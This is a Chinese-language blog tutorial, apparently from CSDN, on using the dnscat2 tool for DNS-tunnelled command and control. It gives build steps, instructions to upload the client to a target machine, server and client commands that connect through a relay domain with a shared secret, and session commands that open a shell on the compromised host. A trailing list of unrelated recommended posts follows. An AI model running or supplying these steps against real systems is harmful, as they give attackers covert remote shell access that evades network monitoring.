DNS隧道

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell

目录

Dnscat2安装

[解决bundle instal1特别慢问题](#解决bundle instal1特别慢问题)

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

dnscat下载下来上传目标机

DNS直连模式

开启服务端

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

​DNS直连流量展示

[DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)](#DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆))

服务端启动

客户端启动

可能出现的问题

53端口被占用,csdn有相关文章讲述


Dnscat2安装

复制代码
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler

git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/server
bundle install

解决bundle instal1特别慢问题

复制代码
vim Gemfile   #打开这个配置文件
source 'https://gems.ruby-china.com'  #修改配置

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

复制代码
git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/client/
make

dnscat下载下来上传目标机

DNS直连模式

开启服务端

复制代码
ruby ./dnscat2.rb

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

复制代码
获取shell:

windows  #相当于msf的sessions
session -i 1
shell
session -i 2
back  #放后台

DNS直连流量展示

DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)

服务端启动

复制代码
ruby ./dnscat2.rb nc1.peiqi.fake.top --secret=crazy  #--secret=crazy密码设置,nc1.peiqi.fake.top挂的中继

客户端启动

dnscat也是和直连模式一样获取的

复制代码
./dnscat --secret=crazy nc1.peiqi.fake.top

可能出现的问题

53端口被占用,csdn有相关文章讲述

相关推荐
2301_809051145 小时前
Linux 网络编程 学习笔记
linux·网络·学习
wanhengidc5 小时前
服务器租用有何优点
运维·服务器·安全·web安全
Csvn5 小时前
OpenSpec 详细使用教程
前端
坤昱5 小时前
cfs调度类深入解刨——最新内核细节分析2
linux·服务器·cfs·cfs调度·eevdf调度·eevdf·kernel 7.1
艾莉丝努力练剑5 小时前
【Linux:文件】Ext系列文件系统进阶
linux·运维·服务器·c++·文件系统·文件io·ext
海市公约5 小时前
Linux核心基础命令与权限管理实战指南
linux·运维·服务器·vim·权限管理·系统监控·命令行
eggcode6 小时前
【Qt学习】Linux(ARM架构)在线安装Qt6.x
linux·qt·学习·arm
wkd_0076 小时前
Ubuntu 22.04 Samba 连接故障排查记:从“用户名或密码错误”到 NTLM 版本不兼容
linux·运维·ubuntu
之歆6 小时前
Day19_LESS 完全指南——从入门到工程实践
前端·css·less
云水一下7 小时前
HTML5 从入门到精通:实战收官——从零搭建完整静态网站,综合运用所有知识
前端·html5